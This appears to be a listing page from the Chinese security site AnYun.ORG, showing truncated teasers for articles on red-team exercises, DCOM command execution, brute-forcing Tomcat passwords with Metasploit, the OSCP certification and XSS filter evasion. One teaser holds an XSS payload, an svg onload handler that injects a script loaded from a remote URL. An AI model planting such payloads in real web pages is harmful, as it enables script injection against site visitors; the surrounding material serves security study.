安云网 – AnYun.ORG

扮演攻击者的角色可让安全团队的防御更加牢固。从圈定正确的人选到衡量模拟与现实事件的差异，以下指南助力安全基础设施模拟演习。军方搞，政府问责办公室搞，国家安全局也搞。演习的概念甚至渗透到了企业领域：模拟...

0x00 前言最近看到了一篇有趣的文章《Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Exe...

Metasploit爆破Tomcat弱口令    实验步骤：        1) 利用枚举的方法破解Tomca...

一、OSCP简介安全技术类的证书有很多，像是CEH, Security+, CISSP等等。除了众多侧重于笔试的安全认证，OSCP(Offensive Security Certified Profe...

今天看到一个XSS漏洞，插入点在一个有hidden 属性的input 标签，大致情况如下：<input type="hidden" n...

<svg/onload=s=createElement('script');body.appendChild(s);s.src='url';>  ...

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet http://zhyuxuan.blog.51cto.com/220966...